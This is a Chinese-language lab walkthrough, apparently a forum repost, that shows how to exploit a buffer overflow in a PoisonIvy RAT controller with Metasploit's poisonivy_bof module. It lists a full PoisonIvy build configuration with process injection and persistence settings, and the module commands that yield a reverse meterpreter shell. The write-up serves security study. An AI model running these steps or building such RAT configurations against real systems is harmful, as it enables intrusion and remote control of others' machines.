PoisonIvy Rat 远程溢出实战
From&thx2:<br />http://badishi.com/poison-ivy-exploit-metasploit-module/<br />https://twitter.com/badishi<br />这个Exploit已经集成在最新版本的Msf中了,老外的文章里也有源文件,可以修改后单独提出来.<br /> <br />首先为了模拟完整的环境,第一步是抓到已经成为肉鸡的电脑上反向连接的IP,这里顺便介绍下简单ARK工具的使用及手工查马的方法吧.<br />PI的反向连接配置,这里填的静态IP<br /><img height="517" alt="" src="https://img.jbzj.com/file_images/article/201207/20120709165013231.jpg" /><br />启动项及释放目录等,同时设定的插默认浏览器和svchost.exe.<br /><img height="488" alt="" src="https://img.jbzj.com/file_images/article/201207/20120709165013232.jpg" /><br />完整的配置信息如下:<br />- Connection<br />Connect to: 92.168.124.134:3460:0,<br />ID: test<br />Group:<br />Password: admin<br />Connect through proxy: No<br />- Install<br />ActiveX Startup: Yes<br />ActiveX Key: {344D13DD-52AF-DD3F-2A33-ED4792414430}<br />Copy File: Yes<br />File Name: svchost.exe<br />Copy File To: System Folder<br />Melt File: Yes<br />- Advanced<br />Process Mutex: )!VoqA.I4<br />Inject Server: Yes<br />Persistence: No<br />Inject into running process: Yes<br />Inject into: svchost.exe<br />Key Logger: No<br />Format: PE<br />File Alignment: 512<br />- Build<br />Icon: No<br />Execute Third-party Applications: No<br />在DEMO机器中运行,然后上线了.<br /><img height="570" alt="" src="https://img.jbzj.com/file_images/article/201207/20120709165013233.jpg" /><br />DEMO机器中手工用Xuetr查杀,手工查杀木马的方法,对于Ring3层下的无非就是可疑进程,可疑连接,可疑DLL模块,可疑启动项(服务),等等这些了.这里直接参考建立的网络连接.都能看到这里并没有打开IE却有了IE的进程,并且是已经连接的状态了.于是得到C&C的IP地址.<br /><img height="478" alt="" src="https://img.jbzj.com/file_images/article/201207/20120709165013234.jpg" /><br /> <br />请出Msf黑火星的神器.<br /><img height="701" alt="" src="https://img.jbzj.com/file_images/article/201207/20120709165013235.jpg" /><br />msf>search poisonivy<br />找到exp位置<br />msf>use /exploit/windows/misc/poisonivy_bof<br />设定使用exp<br />msf>show options<br />查看下设定,只要设定下远程IP(C&C服务器)地址就可以了.<br />msf>set RHOST 192.168.124.134<br />检查下是否存在漏洞<br />msf>check<br />ok.. just exploit it!<br />msf>exploit<br />默认会返回一个反连的meterpreter会话.<br /><img height="595" alt="" src="https://img.jbzj.com/file_images/article/201207/20120709165013236.jpg" /><br />最后.测试了下全补丁版本的Windows 2k3 enterprise,可能因为DEP和ALSR技术的原因,没有完全bypass具体的原因没有深入下去了.<br /><img height="350" alt="" src="https://img.jbzj.com/file_images/article/201207/20120709165013237.jpg" /><br />
頁:
[1]